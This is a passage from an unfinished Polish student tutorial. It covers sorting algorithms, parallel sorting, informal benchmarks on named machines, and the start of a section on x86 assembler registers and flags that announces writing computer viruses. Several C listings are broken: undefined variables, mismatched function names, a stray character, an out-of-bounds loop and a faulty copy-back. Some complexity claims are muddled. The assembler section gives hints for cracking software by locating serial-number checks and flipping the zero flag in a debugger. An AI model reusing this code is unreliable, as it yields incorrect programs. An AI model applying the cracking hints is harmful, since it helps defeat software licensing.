Tutaj fundamentalne znaczenie ma funkcja, która łaczy ze sobą 2 kawałki posortowanych tablic.

Teraz już tylko fragmenty kodu. Funkcja, która dzieli naszą tablicę na mniejsze jest na listingu 3.5.1.

Listing 3.5.1 Sortowanie przez scalanie (1)

```
void merge_sort(int *tab, int ile){
if (n > 1){
int k = (int) ile/2;
mergesort(tab, k);
mergesort(tab+k, n-k);
merge(n,k,tab,pomocnicza);
}
} /* koniec merge_sort */
```

Jak widać, funkcja `merge_sort()` otrzymuje 2 argumenty. Po pierwsze ilość elementów w tablicy, po wtóre wskaźnik do pierwszego z nich. Cała prawie funkcja składa się z dwóch rekurencyjnych wywołań. Pierwsze (`merge_sort(tab, k)`) przekazuje jej pierwszą połówkę tablicy `tab`; drugie przekazuje jej ilość pozostałych elementów, oraz wskaźnik do fragmentu tablicy zaczynającego się od k-tego elementu.

A to jest podstawowy etap całego sortowania, czyli sclanie tablicy. Zostało ono ukazane na listingu 3.5.2.

Funckja scalająca nie jest skomplikowana. Korzysta ona z pomocniczej tablicy, w którą zapisuje sobie wynik. Jak działa tak dokładniej? Przegląda kolejno odpowiednie fragmenty (te do scalenia) tablicy wejściowej i je porównuje, a mniejszy element wstawia do tablicy wyjściowej. Tym zajmuje się główna pętla `while`. Co robi ta druga? Ona jest odpowiedzialna za te elementy, których jest więcej w jednej pod-tablicy niż w drugiej. A ostatnia pętla `for` tylko kopiuje kolejno elementy tablicy pomocniczej to wyjściowej.

3.6 Inne

3.6.1 Heap-sort

Heap-sort znane jest po polsku jako sortowanie stertowe, stogowe lub *Sortowanie przez kopcowanie*. Wszystkie nazwy odnoszą się do tego samego, stosunkowo szybkiego algorytmu. Związany jest on bez wątpienia z samą strukturą sterty.

HeapSort bez wątpienia wymaga głębszego omówienia...

Warto zauważyć, iż program (listing 3.6.1) składa się z dwóch funkcji.

Listing 3.5.2 Sortowanie przez scalanie (2)

```
int pomocnicza[MAX];
void merge(int ile, int k, int *tab, int *pomocnicza){
int i = 0;
int j = k;
int l = 0;
while (i < k && j < ile) {
        if (tab[i] < tab[j]) {
                pomocnicza[l++] = tab[i++];
        } else {
                pomocnicza[l++] = tab[j++];
        }
}

while (i < k)
        pomocnicza[l++] = tab[i++];

for(i = 0; i < j; i++)
        tab[i] = pomocnicza[i];
} /* koniec merge */
```

3.6.2 Selection-sort

Innym stosunkowo prostym algorytmem jest bez wątpienia sortowanie przez wybieranie. Jest to powolny algorytm ($O(n^2)$), jednakże bardzo prosty w budowie. W każdym przebiegu głównej pętli poszukujemy najmniejszej wartości w całej tablicy i jeśli ją znajdziemy to wkładamy na kolejne wolne miejsce. Całą funkcję prezentuje listing 3.6.2.

3.6.3 Sortowanie kubełkowe

Sortowanie kubełkowe (ang. *bucket sort*)jest bardzo szybkim algorytmem w pewnym sensie podobnym do sortowania przez wybieranie. Sortowanie kubełkowe ma jednak szereg ograniczeń. Jest dość pamięciożerne oraz musimy *a'priori* sortowania ustalić nasze „kubełki", a więc musimy znać rozkład naszych danych wejściowych. Jak on działa? Liczby, które chcemy przesortowac winny należeć do $[0, 1)$ i być w miarę równo po tym przedziale rozrzucone. To „w miarę" nie oznacza, że dla „nie w miarę" algorytm nie zadziała, tylko im bardziej równomiernie są one rozrzucone tym wyższa jest wydajność tego algorytmu. Algorytm jako taki opiera się na dokonaniu podziału przedziału jednostkowego $[0, 1)$ na równe podprzedziały — kubełki. Teraz do każdego kubełka jest wrzucana odpowiadająca mu liczba. Gdy już każda liczba znajduje się w odpowiednim kubełku dokonujemy, zwykle prostego, sortowania wewnątrz kubełków stosując dowolny algorytm. W ten sposób otrzymujemy już posortowany wynik.

Jednakże używając tego algorytmu musimy być przygotowani do korzystania z pewnych sztuczek. Jeśli musimy posortować liczby spoza jednostkowego przedziału to należy nasze wejściowe liczby przeskalować. Najłatwiej dokonać tego dzieląc wszystkie przez liczbę największa powiększoną o 1. Dzięki temu wybiegowi wszystkie liczby będą mniejsze od 1. Jedyne na co należy jeszcze uważać to największa liczba, bo gdy postąpimy z nią tak jak z wszystkimi innymi to nie będzie ona należeć do naszego prawostronnie otwartego przedziału jednostowego. A zatem możemy np. do niej nie dodawać

Listing 3.6.1 Sortowanie przez kopcowanie

```
void sortuj(int *tab, int ile){
int n = ile;
for (int k = n/2; k > 0; k--)
        downheap(tab, k, n);

do{
        int t = tab[0];
        tab[0] = tab[n-1];
        tab[n-1] = t;
        n--;
        downheap(tab, 1, n);
} while (n > 1);
} /* koniec sort */

void downheap(int *tab, int k, int n){
int t = tab[k-1];
q
while (k <= n /2) {
        int j = k + k;

        if ((j < n) && (tab[j-1] < tab[j]))
                j++;

        if (t > tab[j-1]) {
                break;
        }else{
                tab[k-1] = tab[j-1];
                k=j;
        }
tab[k-1] = t;
}
} /* koniec downheap */
```

Listing 3.6.2 Sortowanie przez wybieranie

```
void selectionsortuj(int *tab, int ile){
for (int i = 0; i < ile; i++) {
        int min = i;
        int j;
        for (j = i+1; j < ile; j++)
                if (tab[j] < tab[min])
                        min = j;

        zamien(tab, min, i);
}
} /* koniec */
```

jedynki, bądź też stosować jakąś bardziej wymyślną metodę przeskalowywania liczb do przedziału.

Sam algortym jest bardzo szybki, jednakże dużo tracimy na przygotowania. Po pierwsze potrzebujem sporo pamięci. Po wtóre musimy znaleźć największy element tablicy. Zajmie nam to n porównań dla tablicy o n liczbach. Następnie musimy wszystkie n elementów przeskalować (to również kosztuje czas). Ponadto nasze operacje porównania w trakcie właściwego sortowania będą również wolniejsze ze względu na to, iż współczesne procesory mają szybsze/więcej jednostek stałoprzecinkowych niż zmiennoprzecinkowych. Tak więc pomimio dużej prędkości algorytmu jako takiego (liniowy z dużym współczynnikiem) narzuty związane z przygotowaniem danych powodują, iż korzystanie z jego jest czasochłonne i błędogenne.

3.7 Przetwarzanie równoległe

Te lepsze algorytmy stosują pewną technikę programistyczną zwaną „dziel-i-zwyciężaj". Czasem jest ona nazywana mianem „dziel-i-rządz", ale cały czas chodzi o to samo. Po angielsku jest ona zwana poprostu „Divide & Conquer". Zasadnicza jej idea jest stosunkowo prosta i sprowadza się do odpowiedniego podziału problemu początkowego na mniejsze, a co za tym idzie łatwiejsze do rozwiązania problemy.

Warto dodać, iż bardziej zaawansowane algorytmy (np. *Quicksort* i *Mergesort*) mają pewną dodatkową zaletę ponad prostymi algorytami. Dzięki rekurencjonowaniu i przetwarzaniu fragmentów tablic niezależnie można je zrównoleglić. Pozwala to uzyskać znaczny wzrost wydajności. W większości przypadków otrzymujemy *prawie* liniowy wzrost wydajności! Oznacza to, iż jeśli na jednostkowym sprzęcie sortowaliśmy jakąś ogromną tablice 48 godzin (całe 2 doby), to na 16 sztukach jednostowego sprzętu zrobimy to w zaledwie 3 godziny. A najlepsze z tego jest to, iż możemy to tak przyspieszać praktycznie bez granic, a więc na 64 zrównoleglonych komputerach policzymy to w zaledwie 45 minut, a więc 64 razy szybciej niż na 1 sztuce. A zatem nie dość, iż *Quicksort* i *Mergesort* są szybkie niejako same z siebie, to dodatkowo można jeszcze przyspieszyć ich czas wykonania poprzez rozdzielenie pracy na wiele komputerów.

W przypadku tych algorytmów odbywa się to dość prosto. Poprostu każda jednostka otrzymuje np. $1/64$ całej tablicy i ją sobie sortuje. Końcowy etap scalania względnie małych obszarów przebiega stosunkowo szybko. Dla *Mergesort'a* wykonywanego w *klastrze* można wprowadzić pewnien podpodział komputerów. Dla przykładu dla 64 jednostek obliczeniowych, wyznaczymy 4 *kontrolery grupy*, a dla każdej grupy po 4 *kontrolery podgrupy*. Każdy kontroler będzie odpowiedzialny za scalanie fragmentów tablicy otrzymanych od swoich 4 „podwładnych" komputerów. Dzięki takiemu podziałowi pracy można uzyskać prawie liniowy przyrost wydajności wraz ze wzrostem liczby urządzeń.

Powoduje to, iż przy posiadaniu hipotetycznie liczby procesorów (lub innych jednostkowych układów przetwarzających) równej złożoności problemu (rozmiarowi tablicy) możemy otrzymać *liniowy* czas wykonania. Oznacza to, że przy n procesorów, czas również wynosi $O(n)$!

Znacznie trudniejsze może być zrównoleglenie sortowania bąbelkowego. Zauważmy, iż podzielenie tablicy na fragmenty wiele nie da, gdyż potem łączenie ich będzie bardzo kosztowne przy pomocy bąbelków a przecież o to chodzi. Ponadto sortowanie bąbelkowe będzie jako takie wolniejsze od *Mergesort'a*.

Istnieją też algortymy tworzone z założenia do obliczeń równoległych. Są to chociażby: *Odd-Even Transposition Sort* i *Shear Sort*. Jest oczywiście takich algorytmów bardzo wiele, jednak znaczna ich ilość jest stosunkowo skomplikowana pod względem zarówno koncepcyjnym jak i przedstawia znaczne trudności matematyczne przy pokazywaniu jakiej są klasy. Część z nich korzysta też z dość abstrakcyjnych pojęć i struktur, które mogłby okazać się nie banalne dla czytelnika. Ogolnie tematyka algorytmów równoległych została poruszona w [15] i [14].

3.7.1 Odd-Even Transposition Sort

Algorytm ten po polsku nosi nie wiele mówiącą nazwę, a mianowicie sortowanie parzysto-nieparzyste. Przed przystąpieniem do rozważań wprowadzimy pewne nowe określenie — *komparatora*. Komparatorem nazywamy dowolnie prosty układ (nie koniecznie elektroniczny, chociaż najczęściej), zdolny do porównania dwóch informacji (sygnałów, liczb) i określenia, która jest większa, a która mniejsza. Tak określone urządzenie niech będzie dla nas czarną skrzynką, w którą wrzucamy dwie liczby i z której wypada jednym wyjściem liczba większa, a drugim mniejsza. Wewnętrzna organizacja skrzynki nas nie interesuje, w dzisiejszej rzeczywistości będzie to najczęściej specjalizowany układ scalony, a czasem zwykły komputerowy procesor. Jednakże dla naszych rozważań możemy równie dobrze przyjąć, że w środku siedzi krasnoludek i wybiera większą liczbę.

Dla ułatwienia przyjmijmy początkowo, że do posortowania tablicy n liczb mamy do dyspozycji n komparatorów (procesorów). Sortowanie tym algorytmem jest w pewnym sensie podobne do sortowania przez scalanie; odbywa się dwuetapowo. Składa się z funckcji odpowiedzialnej za posortowanie jakiegoś fragmentu tablicy, oraz funkcji, która scala wyniki uzyskane z poprzedniego etapu.

Sortowanie odbywa się w dość prosty sposób. Załóżmy, że mamy parzystą ilość (n) elementów do posortowania w tabicy (a_n). (Tak, to jest przecież ciąg.) W pierwszej fazie porównujemy liczby a_1 z a_2, a_3 z a_4, ..., a_{n-1} z a_n i mniejszy z każdej pary wstawiamy w miejsce o mniejszym indeksie (czyli obrazowo rzecz biorąc po lewej stronie, chociaż tak na prawdę to nie ma znaczenia). Teraz przystępujemy do drugiej fazy, dokonujemy w niej porównań elementów a_2 z a_3, a_4 z a_5, ..., a_{n-2} z a_{n-1} i znowu mniejszy do lewego wstawiamy.

Nieźle ilustruje to poniższy przykład. 0 jest to sytuacja początkowa. - oznacza, iż dokonujemy porównania tych dwóch elementów (linie `a`) i w linii `b` mamy je zamienione jeśli element prawy mniejszy od lewego.

```
0) 2 4 1 8 3 9 7 5

1a) 2-4 1-8 3-9 7-5
1b) 2 4 1 8 3 9 5 7

2a) 2 4-1 8-3 9-5 7
2b) 2 1 4 3 8 5 9 7

3a) 2-1 4-3 8-5 9-7
3b) 1 2 3 4 5 8 7 9

4a) 1 2-3 4-5 8-7 9
4b) 1 2 3 4 5 7 8 9
```

Bardzo łatwo jest napisać ten algorytm dla jednego procesora, a więc nie wykorzystując jego możliwości zrównoleglenia obliczeń. Niestety taki algorytm jest klasy $O(n^2)$ i daje podobne wyniki czasowe jak sortowanie bąbelkowe. Przykładową implementację pokazuje listing 3.7.1.

Oczywiście gdyby ten algorytm miał zawsze uzyskiwać tak słabą wydajność to nikt by się nim nie zainteresował. Jego możliwości możemy poznać dopiero w środowiskach wieloprocesorowych. Jak to się dzieje. Jeśli założymy, że n procesorów ma jednocześnie dostęp do całej tablicy n elementowej to można łatwo podzielić pracę między je. Każdy cykl pracy całego zespołu możemy podzielic na 2 etapy. W pierwszym etapie procesor i-ty porównuje a_{2i-1} z a_{2i} (i mniejsze wstawia w a_{2i-1}). Następnie ten sam procesor porównuje element a_{2i} z a_{2i+1}. I teraz cykl się powtarza.

Listing 3.7.1 Sortowanie Odd-Even

```
void sortuj(int *tab){
for (int j=0; j<MAX; j++){
    for (int i=0; i<MAX; i+=2)
        if(tab[i] > tab[i+1])
            zamien(tab,i,i+1);
    for (int i=1; i<MAX; i+=2)
        if(tab[i] > tab[i+1])
            zamien(tab,i,i+1);
    }
} // koniec sortuj
```

Wracając do algorytmu; najgorszy przypadek to $O(n)$ przy uruchomieniu na n procesorach. Jego absolutna prędkość to $O(\log n)$, a więc jego wydajność wynosi $O((\log n)/n)$.

Przy okazji warto wprowadzić pojęcie sieci sortującej... Więcej o tym algorytmie można znaleźć w [13] i [11].

3.7.2 Shear Sort

Jego polską nazwę, a mianowicie „sortowanie przez wycinianie" sam wymyśliłem. Jest to związane z niedoborem terminologii z zakresu przetwarzania równoległego w języku polskim. Opieram moją nazwę na tłumaczeniu angielskiego słowa *shear* oraz analizie głównej idei algorytmu.

Jest to jeden z podstawowych algorytmów równoległych operujących bardziej zaawansowanym strukturami i metodami. Jest on swojego rodzaju podstawą do bardzo zaawansowanych algorytmów.

Podstawową nowością z jaką mamy do czynienia tutaj jest zmiana obiektu, który zamierzamy sortować. Poprzednio była to tablica liniowa (tj. $1 \times n$), teraz będzie to tablica $n \times n$.

Mówiąc w skrócie, jest to algorytm równoległy, którego najgorszy przypadek dla n procesorów wynosi $O(n^{1/2} \log n)$. Jego absolutna prędkość wynosi więc $O(n^{1/2})$, a zatem efektywność to $O(1/n^{1/2})$.

Oczywiście będzie tu więcej...

3.8 Podsumowanie

Łatwo zauważyc, iż jest ogromna ilość różnorodnych algorymów sortowania. Poza zaprezentowanymi tu istnieje z pewnością wiele innych. Te, które zostały tu przedstawione cechują się bez wątpienia znaczną prostotą, wydajnością lub są szczególnie interesujące z algorytmicznego punktu widzenia.

Każdy ma swoje wady i zalety w praktycznym stosowaniu. Do najszybszych należą *sortowanie przez scalanie* i *Quicksort*. Szybszy, w średnim przypadku, jest *Quicksort*. Dużą zaletą *Mergesort'a* jest jego kompletna niepodatność na konfigurację danych. Nie zależenie od ich ułożenia wykona się w czasie zależnym od $O(n \log n)$. Poważną jego wadą jest zapotrzebowanie na dodatkową pamięć o rozmiarze równym sortowanej tablicy. Quicksort natomiast w przypadku „parszywie" ułożonych danych (tzn. w odwrotnej kolejności posortowanych a może w innej. jeszcze nie wiem) i niefartownie wybranej osi zbliża się do czasu $O(n^2)$. W średnim przypadku zarówno *Quicksort* jak i *Mergesort* są logartymiczne.

Ogromną zaletą większości algorytmów klasy $O(n^2)$ jest bez wątpienia ich prostota implementacyjna. Nawet nie bardzo wprawny uczeń szkoły średniej, po lekturze tego opracowania i kilkumi-

nutowemu zastanowieniu się, powinien być w stanie spisać np. *sortowanie bąbelkowe* z pamięci. Tak więc dużym plusem tych algorytmów jest ich prostota, która zmniejsza prawdopodobieństwo pomyłki. Dlategoteż, do posortowania 10, 100, a nawet 1000 elementów nie warto stosować bardzo szybkie algorytmy. Jest to związane z ciągle rozwijającą się technologią. Nawet najwolniejszy algorytm na obecnych komputerach (Pentium4 ok. 2,66GHz) wykona się w mgnieniu oka. Nie warto w związku z tym tracić czasu na wpisywanie większych obiętościowo algorytmów „szybszych". Różnice przy obecnym sprzęcie pojawiają się dopiero przy tablicach rzędu 100000. Krótkie testy potwierdziły oczywiście wyższość *Quicksort'a* nad sortowaniem bąbelkowym.

Przeprowadziłem dotychczas krótkie testy porównawcze, których wyniki przezentuję poniżej. Zaznaczam, iż testy będą kontynuowane.

Plik wejściowy: 500000 liczb z zakresu $[1, 200\,000]$.

- **PIII 700** — całkowity czas wykonania qsort to ok. 7,7 sek. z czego 5 sek. jest zużywane na zapis i odczyt tabeli z dysku
- **PIII 700** — Mergesort. ok. 3 sekundy obliczenia, ok. 5 sek. odczyt/zapis na dyski. A więc o ok. 0,25 sek. gorzej od QuickSorta.
- **P4 2.4** — Bubble-sort. Trochę ponad 70 minut.
- **P4 2.4** — QuickSort łącznie ok. 4,8 sek. z czego 3,3 sek. na I/O
- **P4 2.4** — MergeSort łącznie ok. 4,9 sek. z czego 3,3 sek. na I/O

Dowodzi to prostego stwierdzenia, iż *prawie* zawsze, i w prawie każdych granicach nawet bardzo szybki sprzęt ze słabym alborytmem będzie wolniejszy od przeciętnego sprzętu z bardzo dobry algorytmem. Widać tu wyraźnie, że QuickSort i MergeSort (a tak poza tym to jeszcze nie uwzględniony tu HeapSort) są algorytmami klasy $O(n \log n)$ i niezależnie od tego na jakim sprzęcie by poszły to raczej uzyskają lepszy wynik niz algorytmy $O(n^2)$. Dowodzi to, iż dobór należytego algorytmu to podstawa.

3.8.1 Pomiary praktyczne

Jak wiadomo najlepsze efekty dają testy na polu walki, a więc w rzeczywistości. Na początek opiszmy nasze platformy testowe:

paf73 Sprzęt: Pentium III @ 700 MHz (7x100), 512MB SDRAM (4xKingston), dyski: Seagate Barracuda ATA III (40GB) i IV (80GB) (UDMA-100), wszystko na płycie Asus P3B-F
Oprogramowanie: RedHat 7.2, kernel 2.4.20-28.7, skompilowano przy pomocy gcc ver. 2.96

rosamund Sprzęt: Pentium IV @ 2400MHz (6x4x100), 512MB DDR (2x256), dysk Hitachi/IBM 30GB (UDMA-100), w latpopie Gericom Webshox.
Oprogramowanie: RedHat 9, kernel 2.4.20-18.9, skompilowano przy pomocy gcc ver. 3.2.2

tiger Sprzęt: microSPARC II @ 70MHz (2x35), 64MB SDRAM (2xKingston), dyski: Seagate 4GB (Barracuda 4LP) i 2GB (Hawk 2LP) (Fast-SCSI-2), wszystko jest to Sun SPARCstation 5.
Oprogramowanie: SunOS 5.4 (Solaris 2.4), kernel: Generic_151094, skompilowano przy pomocy gcc ver. 2.95.2

routerek Sprzęt: Celeron @ 400MHz (6x66), 192MB SDRAM (3x64), dysk Seagate ST34311A (4GB) (UDMA-66)
Oprogramowanie: RedHat 9, kernel 2.4.20-24.9, skompilowano przy pomocy gcc ver. 3.2.2

jawor Sprzęt: 2 x UltraSPARC II @ 400MHz (spr), 512MB, macierz RAID-5 (3x9GB, 3x36GB) (Ultra-SCSI-2), jest to Sun Enterprise 250.
Oprogramowanie: SunOS 5.8 (Solaris 8), kernel: Generic_108528_12 64-bit, gcc (spr)

csd0 Sprzęt: 2 x Pentium III @ 933 MHz (7x133), 512MB, dyski SCSI ok. 60GB w macierzy RAID-5, wszystko to jakiś DellPowerEdge
Oprogramowanie: debian linux, kernel: 2.6.1, gcc (spr)

csd1 Sprzęt: UltraSPARC II @ 400MHz (spr), 128MB (spr), dysk (spr), razem to Sun Ultra 5.
Oprogramowanie: SunOS 5.6 (Solaris 2.6) (spr), kernel: (spr), gcc (spr)

mail Sprzęt: Pentium II @ 400MHz (4x100), 768MB SDRAM (3x256), dyski: HP 8GB i 4GB (Ultra-SCSI), wszystko to jakiś DellPowerEdge
Oprogramowanie: Slackware 8, kernel 2.2.23, skompilowano przy pomocy gcc ver. 3.3.3

Mariusz Sprzęt: Celeron @ 1700MHz (4.25x4x100), 256MB DDR (2x128), płyta Intel 845-g?, dysk Seagate Barracuda ATA IV (80GB) (UDMA-100)
Oprogramowanie: Fedora Core 1, kernel 2.4.22-1.2115.nptl, skompilowano przy pomocy gcc. 3.3.2

ladys Sprzęt: Pentium MMX @ 200MHz (4x50 ?), 64MB ?, dysk ? Oprogramowanie: RedHat 7.2, kernel: 2.4.7, gcc ?

Jak widać wsród naszych 10 komputerów mamy wiele rodzajów sprzętu. Są zarówno proste PC'ty z jednym procesorem, jak i wieloprocesorowe serwery UNIX'owe. Testy zostały już częściowo przeprowadzone, jednak wciąż brakuje pewnych danych odnośnie platform testowych ze względu na moja gapowatość...

Część II

Assembler i Wirusy

Rozdział 4

Zbyt krótkie wprowadzenie do Assemblera

Słowo wstępne

Hmm, ta część miała być początkowo bardziej rozbudowana, ale ze względu na brak czasu spowodowany licznymi obowiązkami ucznia klasy IV LO musiałem ją skrócić. Moze kiedyś coś dopiszę :) Jakby ktoś nie załapał do końca o co chodzi z tym Assemblerem to niech kupi sobie jakąś knige. W tej części poznamy podstawy Assemblera oraz wykorzystamy je w praktyce. Napiszemy kilka prostych wirusów komputerowych.

4.1 Krótki kurs Assemblera

4.1.1 Rejestry

Rejestry są podstawowym miejscem przechowywania danych. Sa to 16-bitowe komórki procesora. Jest 14 rejestrów i w tym 12 rejestrów danych i adresowych, rejestr wskaźnika instrukcji (IP) i rejestr znaczników. Rejestry danych i adresowych dla najbardziej podstawowego procesora Intel 8086 zostały przedstawione w tableli 4.1.

Jak oczywiście każdy się zorientował przy pracy w Win32 rejestry okreslane są jako EAX, EBX, itd. Oznacza to, że są to odpowiedniki powyższych rejestrów, tyle, iż 32 bitowe.

Chwila wyjaśnienia z tymi bitami. Weźmy rejestr AX, który jest 16 bitowy i dzieli się na dwa podrejestry 8 bitowe AH i AL. Jak wiemy 8 bitów tworzy bajt, który przyjmuje wartość od 0 do 255, czyli rejestr AH i AL moze miec najwieksza wartosc FFh. Logicznie myslac -:) rejestr 16 bitowy moze przyjąc maksymalna wartość FFFFh itd. (32 bit EAX mam max FFFFFFFFh ups-:)). Chyba każdy łapie co dają 32 bitowe rejestry i jak zwiekszają się możliwości. Oznacza to, że zawartość AX to taki zlepek AL i AH. AL=17h i AH=13h to AX=1713h.

Warto zapoznać się z charakterystykami rejestrów, gdzyż każdy ma swoje własne konkretne zastowsowanie. Przegladając i analizując kod programu możemy zauważyc pewne prawidłowości, np.

- EIP — debugując pod SoftIce 32bit widzimy, że rejestr ten wskazuje na aktualny kod wykonywanej instrukcji i możemy go użyć np. do założenia pułapki na danej lini czyli bpx EIP lub dokładniej CS:EIP.
- CS — wskazuje segment kodu, czyli jak mamy linię kodu o adresie np. 14F:04033232 to mozemy ją zapisać jako CS:04033232 poniewaz w rejestrze CS jest zachowana wartość 014F.
- DS — podobnie jak powyżej, zawiera adres segmentu danych, jeżeli w okienku danych pod SoftIce mamy jakiśadres np. 0145:03055555 to DS wskazuje segment 0145.

AX (akumulator) BX (bazowy) CX (licznik) DX (danych)	Rejestry ogólnego przenzaczenia
SP (wskaźnik stosu) BP (wskaźnik bazy) SI (indeks źródła) DI (indeks przeznaczenia)	Rejestry wskaźnikowe i indeksowe
CS (programu) DS (danych) SS (stosu) ES (dodatkowy)	Rejestry segmentowe
IP (wskaźnik instrukcji) I (rejestr znaczników)	

Tabela 4.1: Rejestry procesora

- ESI i EDI sa wskaźnikami danych np. do porównań tekstów itp. Weźmy np. instrukcję porównywania w bibliotekach VB — reps cmpsw dla, których w ds:esi i es:edi zawarte są adresy tekstów (np. numerów seryjnych) do porównania. To samo tyczy sie wielu instrukcji przesyłania i porównywania danych, gdzie przeznaczenie i cel zawarte sa w rejesteach SI i DI np:

```
LEA SI, Zrodlo                ;Zaladowanie adresu zrodla
LEA DI, ES:Przeznaczenie      ;Zaladowanie adresu przezanczenia

MOV CX,100                    ;Zaladowanie licznika elementow
MOVS Przeznaczenie,Zrodlo     ;Kopiowanie tekstu z jednego
                              ;miejsca w innne.
```

4.1.2 Rejestry — specyfikacja architektury intela

W tabeli 4.2 zebrane zostały najważniejsze rejestry procesorów rodziny Intel 80x86. W kolumnie **1** znajduje się nazwa rejestru podstawowego, takiego jak w procesorze 8086. W kolumnie **2** jest natomiast nazwa, która oznacza rejestr procesora 80386 lub wyższego. Jest on wtedy nie 16 tylko 32 bitowy. Jeśli nic nie ma w kolumnie **2** (lub jej wogóle nie ma) oznacza to, iż rejestr nie uległ powiększeniu w 386'tce i nadal stosuje się nazwę z kolumny **1**. Ponadto „Rejestr Znaczników" został tutaj tylko wzmiankowany, szerszy opis znajduje się w rozdziale 4.1.3.

1	**2**	**Nazwa zwyczajowa**	**1**	**Nazwa zwyczajowa**
Rejestry ogólnego przeznaczenia			**Rejestr Znaczników (zob. flagi)**	
AH|AL AX	EAX	Akumulator	**Specjalne rejestry (386+)**	
BH|BL BX	EBX	Bazowy	CR0	Control Register 0
CH|CL CX	ECX	Licznik	CR2	Control Register 2
DH|DL DX	EDX	Danych	CR3	Control Register 3
Rejestry segmentowe			TR4	Test Register 4
CS		Programu	TR5	Test Register 5

DS		Danych	TR6	Test Register 6
SS		Stosu	TR7	Test Register 7
ES		Dodatkowy	DR0	Debug Register 0
Rejestry wskaźnikowe			DR1	Debug Register 1
SI	ESI	Indeks źródła	DR2	Debug Register 2
DI	EDI	Indeks przeznaczenia	DR3	Debug Register 3
IP		Wskaźnik instrukcji	DR6	Debug Register 6
Rejestry stosu			DR7	Debug Register 7
SP	ESP	Wskaźnik stosu		
BP	EBP	Wskaźnik bazy		

Tabela 4.2: Rejestry procesorów Intel 80386 i wyższych

Rejestry ogólnego przeznaczenia są przeznaczone do przechowywania dowolnych danych i wykonywania rożnych operacji (arytmetycznych, logicznych itp), pełnią także funkcje specjalne odpowiadające ich nazwom.

- AX (accumulator) — rejestr ten jest najczęściej używany przy o peracjach mnożenia i dzielenia, a także w operacjach logicznych, arytmetycznych i odkładania wyników wielu operacji. 8 dolnych bitów tego rejstru określa się jako rejestr AL, a 8 górnych bitów jako AH
- BX (basis) — rejestr bazowy może być używany jako dwa 8-bitowe rejestry BH i BL, a np. jako 16-bit możemy go użyc do utworzenia adresu pamięci, tworząc z rejestrem segmentowym pełny adres — Segmennt:Offset — DS:BX
- CX (count) — rejestr zliczajacy jest wykorzystywany oprócz zliczania także do przesyłania danych. Może być także używany jako dwa rejestry 8-bitowe CH i CL.
- DX (data) — rejestr danych wykorzystuje się przy dzieleniu i mnożeniu. Jest także jedynym rejestrem, w którym można podać adres portu w rozkazach wejścia-wyjścia.

Rejestry segmentowe sluża do adresowania pamięci operacyjnej.

- CS (code segment) — rejestr wskazuje początek segmentu kodu programu, tworzy pełny adres wraz z rejestrem IP — CS:IP. Rozkazy programu, skoki, powroty pobierane sa w odniesieniu do tego rejestru.
- DS (data segment) — rejestr wskazujący początek segmentu danych
- SS (stack segment) — rejestr stosu wskazuje początek segmentu stosu
- ES (extra segment) — rejestr dodatkowy wskazujący dodatkowy segment danych

Rejestry wskaźnikow. Dostęp do danych adresowany jest przez połączenie adresu z rejestru segmentu z przesunieciem pobieranym z innego rejestru min. rejestru wskaźnikowego.

- SI (source index) — rejestr indeksowy źrodla, najczęściej stosowany przy adresowaniu w instrukcjach przetwarzających łancuchy znaków, tworzy wówczas pełny adres DS:SI
- DI (destination index) — rejestr indeksowy przeznaczenia, podobny do SI używany w adresowaniu danych przy przetwarzaniu łancuchów znaków, tworzy wówczas pelny adres ES:DI

- SP (stack pointer) — wskaźnik stosu tworzy wraz z SS — SS:SP adres danej odesłanej na stos i jest wykorzystywany przy pobieraniu i zapisywaniu danych na stos.

- BP (base pointer) — wskaźnik bazy używany jest podczas operacji niestandardowych np. przy pobieraniu parametrów przekazywanych na stos.

- IP (instruction pointer) — wskaźnik instrukcji wskazuje na aktualnie wykonywaną instrukcję i wraz z rejestrem segmentu kodu tworzy pełny adres — CS:IP. IP wskazuje offset (przesunięcie) względem początku segmentu programu.

4.1.3 Flagi — rejestr znaczników

Falgi są komórkami, które mogą przyjmować wartość 0 lub 1 i są zawarte w rejestrze znaczników. Odpowiednie ustawienie poszczególnych flag decyduje o wykonaniu innych instrukcji a szczególnie instrukcji warunkowych. Najszybciej zrozumiec flagi można na przykladzie :

```
CMP AX,BX  ; Porównaj rejestry AX z BX, jezeli rowne
           ; to flaga zerowa Z ustawiona na 1
JZ 0401233 ; Jeżeli flaga Z ustawiona na 1 to wykonaj
           ; skok do adrsu 0401233
```

Oczywiście intrukcja CMP ustawia także inne flagi z zależności od wyniku porównania i podobnie inne instrukcje warunkowych skoków mogą sprawdzać także inne flagi. Szczególowiej przedstawię to przy omówieniu skoków warunkowych.

Po co nam znajomość flag, ano po to aby podzczas analizy kodu wiedzieć jaki wynik dało porównanie danych i czy np. skok zostanie wykonany czy nie. Poza tym debugując program możemy zmienić działanie instrukcji skoku zmieniajac stan znaczników.

Np. w powyższym przykladzie AX jest równe BX i flaga zerowa Z została ustawiona na 1 więc skok warunkowy zostanie wykonany. Jeżeli jednak mimo rownosci AX i BX nie chcemy wykonać skoku to podczas sledzenia programu resetujemy flage zerową.

Ciekawostki:

- Bit 6 rejestru znaczników — znacznik zera, najważniejsza przy pierwszych krokach łamania programów. Decyduje o podstawowych skokach warunkowych :-)

- Bit 8 rejestru znaczników — flaga pracy krokowej (TF — trap flag) ustawia procesor w trybie pracy krokowej w celu uruchomienia programu pod debugerem,

- Bit 10 rejestru znacznikow — flaga kierunku (DF — direction flag) wymusza zwiekszania lub zmniejszanie rejestrów indeksowych przy wykonywaniu instrukcji operujących na łancuchach czyli albo rosnąco albo malejąco (czyli od lewej do prawej albo na odwrót).

4.1.4 Flagi — Rejestr znaczników — specyfikacja Intel 8086

Rejestr znaczników jest 16 bitowym rejestrem, sześć bitów zawiera informacje o stanach, trzy pozwalają sterować praca procesora z poziomu programu a dwa pozostałe zwiazane są z trybem wirtualnym.

```
|11|10|F|E|D|C|B|A|9|8|7|6|5|4|3|2|1|0|
  |  | | | | | | | | | | | | | | | '---  CF Carry Flag
  |  | | | | | | | | | | | | | | '---  1
  |  | | | | | | | | | | | | | '---  PF Parity Flag
  |  | | | | | | | | | | | | '---  0
  |  | | | | | | | | | | | '---  AF Auxiliary Flag
  |  | | | | | | | | | | '---  0
  |  | | | | | | | | | '---  ZF Zero Flag
  |  | | | | | | | | '---  SF Sign Flag
  |  | | | | | | | '---  TF Trap Flag  (Single Step)
  |  | | | | | | '---  IF Interrupt Flag
  |  | | | | | '---  DF Direction Flag
  |  | | | | '---  OF Overflow flag
  |  | | '-----  IOPL I/O Privilege Level  (tylko 286+)
  |  | '-----  NT Nested Task Flag  (tylko 286+)
  |  '-----  0
  |  '-----  RF Resume Flag (tylko 386+)
